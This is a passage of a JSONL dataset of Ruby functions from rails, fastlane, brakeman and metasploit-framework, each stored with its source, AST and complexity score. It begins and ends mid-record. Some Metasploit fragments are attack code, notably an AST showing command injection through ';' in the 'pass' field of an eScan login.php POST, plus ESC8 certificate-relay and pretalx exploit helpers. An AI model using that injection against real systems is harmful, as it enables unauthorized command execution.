end","complexity_score":10.85,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"login.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pass\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product_name\"]},{\"type\":\"str\",\"children\":[\"escan\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"language\"]},{\"type\":\"str\",\"children\":[\"English\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]}","id":"bd457865-d855-44b5-a342-c6dcd6e977f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/relay/esc8.rb","start_line":171,"raw_source":"def retrieve_certs(relay_connection, relay_identity, cert_templates)\n    cert_templates.each do |cert_template|\n      retrieve_cert(relay_connection, relay_identity, cert_template)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_certs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relay_connection\"]},{\"type\":\"arg\",\"children\":[\"relay_identity\"]},{\"type\":\"arg\",\"children\":[\"cert_templates\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert_templates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert_template\"]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_cert\",{\"type\":\"lvar\",\"children\":[\"relay_connection\"]},{\"type\":\"lvar\",\"children\":[\"relay_identity\"]},{\"type\":\"lvar\",\"children\":[\"cert_template\"]}]}]}]}","id":"5f36a4f4-e79c-4a84-84f5-3e1b8614b263"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/controllers/users_controller.rb","start_line":30,"raw_source":"def new\n    @user = User.new\n\n    respond_to do |format|\n      format.html # new.html.erb\n      format.json { render :json => @user }\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}]}]}]}","id":"00618e4d-b79a-4c5c-b220-a4111a8cd5c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb","start_line":151,"raw_source":"def each_backwards\n    begin\n      loop do\n        yield(read_backwards)\n      end\n    rescue ::Exception\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each_backwards\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_backwards\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,null]},null]}]}]}","id":"d8ee75d7-20f6-4033-8758-4c1890154b73"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/time/calculations.rb","start_line":69,"raw_source":"def rfc3339(str)\n      parts = Date._rfc3339(str)\n\n      raise ArgumentError, \"invalid date\" if parts.empty?\n\n      Time.new(\n        parts.fetch(:year),\n        parts.fetch(:mon),\n        parts.fetch(:mday),\n        parts.fetch(:hour),\n        parts.fetch(:min),\n        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),\n        parts.fetch(:offset)\n      )\n    end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rfc3339\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"_rfc3339\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid date\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"mon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"mday\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"min\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec_fraction\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]}]}]}","id":"7b0e14b3-f506-4149-8d23-d9d4ef75b63c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":186,"raw_source":"def test_fetch_multi\n    key = SecureRandom.uuid\n    other_key = SecureRandom.uuid\n    third_key = SecureRandom.alphanumeric\n    @cache.write(key, \"bar\")\n    @cache.write(other_key, \"biz\")\n\n    values = @cache.fetch_multi(key, other_key, third_key) { |value| value * 2 }\n\n    assert_equal({ key => \"bar\", other_key => \"biz\", third_key => (third_key * 2) }, values)\n    assert_equal((third_key * 2), @cache.read(third_key))\n  end","complexity_score":18.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"other_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"third_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"other_key\"]},{\"type\":\"str\",\"children\":[\"biz\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch_multi\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"other_key\"]},{\"type\":\"lvar\",\"children\":[\"third_key\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_key\"]},{\"type\":\"str\",\"children\":[\"biz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"third_key\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"third_key\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"third_key\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"third_key\"]}]}]}]}]}","id":"a16848a9-0b8c-43b1-af45-d262ea348f2a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/setup_jenkins.rb","start_line":115,"raw_source":"def self.available_options\n        [\n          # General\n          FastlaneCore::ConfigItem.new(key: :force,\n                                       env_name: \"FL_SETUP_JENKINS_FORCE\",\n                                       description: \"Force setup, even if not executed by Jenkins\",\n                                       type: Boolean,\n                                       default_value: false),\n\n          # Keychain\n          FastlaneCore::ConfigItem.new(key: :unlock_keychain,\n                                       env_name: \"FL_SETUP_JENKINS_UNLOCK_KEYCHAIN\",\n                                       description: \"Unlocks keychain\",\n                                       type: Boolean,\n                                       default_value: true),\n          FastlaneCore::ConfigItem.new(key: :add_keychain_to_search_list,\n                                       env_name: \"FL_SETUP_JENKINS_ADD_KEYCHAIN_TO_SEARCH_LIST\",\n                                       description: \"Add to keychain search list, valid values are true, false, :add, and :replace\",\n                                       skip_type_validation: true, # allow Boolean, Symbol\n                                       default_value: :replace),\n          FastlaneCore::ConfigItem.new(key: :set_default_keychain,\n                                       env_name: \"FL_SETUP_JENKINS_SET_DEFAULT_KEYCHAIN\",\n                                       description: \"Set keychain as default\",\n                                       type: Boolean,\n                                       default_value: true),\n          FastlaneCore::ConfigItem.new(key: :keychain_path,\n                                       env_name: \"KEYCHAIN_PATH\",\n                                       description: \"Path to keychain\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :keychain_password,\n                                       env_name: \"KEYCHAIN_PASSWORD\",\n                                       description: \"Keychain password\",\n                                       sensitive: true,\n                                       default_value: \"\"),\n\n          # Code signing identity\n          FastlaneCore::ConfigItem.new(key: :set_code_signing_identity,\n                                       env_name: \"FL_SETUP_JENKINS_SET_CODE_SIGNING_IDENTITY\",\n                                       description: \"Set code signing identity from CODE_SIGNING_IDENTITY environment\",\n                                       type: Boolean,\n                                       default_value: true),\n          FastlaneCore::ConfigItem.new(key: :code_signing_identity,\n                                       env_name: \"CODE_SIGNING_IDENTITY\",\n                                       description: \"Code signing identity\",\n                                       optional: true),\n\n          # Xcode parameters\n          FastlaneCore::ConfigItem.new(key: :output_directory,\n                                       env_name: \"FL_SETUP_JENKINS_OUTPUT_DIRECTORY\",\n                                       description: \"The directory in which the ipa file should be stored in\",\n                                       default_value: \"./output\"),\n          FastlaneCore::ConfigItem.new(key: :derived_data_path,\n                                       env_name: \"FL_SETUP_JENKINS_DERIVED_DATA_PATH\",\n                                       description: \"The directory where built products and other derived data will go\",\n                                       default_value: \"./derivedData\"),\n          FastlaneCore::ConfigItem.new(key: :result_bundle,\n                                       env_name: \"FL_SETUP_JENKINS_RESULT_BUNDLE\",\n                                       description: \"Produce the result bundle describing what occurred will be placed\",\n                                       type: Boolean,\n                                       default_value: true)\n        ]\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"force\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_FORCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Force setup, even if not executed by Jenkins\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"unlock_keychain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_UNLOCK_KEYCHAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Unlocks keychain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"add_keychain_to_search_list\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_ADD_KEYCHAIN_TO_SEARCH_LIST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Add to keychain search list, valid values are true, false, :add, and :replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_type_validation\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"set_default_keychain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_SET_DEFAULT_KEYCHAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Set keychain as default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"keychain_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"KEYCHAIN_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to keychain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"keychain_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"KEYCHAIN_PASSWORD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Keychain password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"set_code_signing_identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_SET_CODE_SIGNING_IDENTITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Set code signing identity from CODE_SIGNING_IDENTITY environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"code_signing_identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"CODE_SIGNING_IDENTITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Code signing identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"output_directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_OUTPUT_DIRECTORY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The directory in which the ipa file should be stored in\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"./output\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"derived_data_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_DERIVED_DATA_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The directory where built products and other derived data will go\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"./derivedData\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"result_bundle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_SETUP_JENKINS_RESULT_BUNDLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Produce the result bundle describing what occurred will be placed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"14d6d259-3d29-4409-a0ed-ec4553642d70"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/pretalx.rb","start_line":78,"raw_source":"def create_general_info(submit_uri, proposal_name, abstract, description, notes, image, additional_speaker)\n            res = get_registration_step(submit_uri)\n\n            csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')\n            submission_type = res.get_hidden_inputs.dig(0, 'submission_type')\n\n            fail_with(Msf::Module::Failure::Unknown, 'Could not find hidden inputs: creating general info') unless submit_uri && csrf_token\n            data_post = Rex::MIME::Message.new\n\n            data_post.add_part(csrf_token, '', '', %(form-data; name=\"csrfmiddlewaretoken\"))\n            data_post.add_part(proposal_name, '', '', %(form-data; name=\"title\"))\n            data_post.add_part(submission_type, '', '', %(form-data; name=\"submission_type\"))\n            data_post.add_part('en', '', '', %(form-data; name=\"content_locale\"))\n            data_post.add_part(abstract, '', '', %(form-data; name=\"abstract\"))\n            data_post.add_part(description, '', '', %(form-data; name=\"description\"))\n            data_post.add_part(notes, '', '', %(form-data; name=\"notes\"))\n            data_post.add_part(image, 'application/octet-stream', '', %(form-data; name=\"image\"; filename=\"\"))\n            data_post.add_part(additional_speaker, '', '', %(form-data; name=\"additional_speaker\"))\n\n            send_request_cgi({\n              'method' => 'POST',\n              'uri' => normalize_uri(submit_uri),\n              'data' => data_post.to_s,\n              'ctype' => \"multipart/form-data; boundary=#{data_post.bound}\"\n            })\n          end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_general_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"submit_uri\"]},{\"type\":\"arg\",\"children\":[\"proposal_name\"]},{\"type\":\"arg\",\"children\":[\"abstract\"]},{\"type\":\"arg\",\"children\":[\"description\"]},{\"type\":\"arg\",\"children\":[\"notes\"]},{\"type\":\"arg\",\"children\":[\"image\"]},{\"type\":\"arg\",\"children\":[\"additional_speaker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"get_registration_step\",{\"type\":\"lvar\",\"children\":[\"submit_uri\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"csrfmiddlewaretoken\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"submission_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"submission_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submit_uri\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not find hidden inputs: creating general info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"csrf_token\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"csrfmiddlewaretoken\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"proposal_name\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"title\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"submission_type\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; 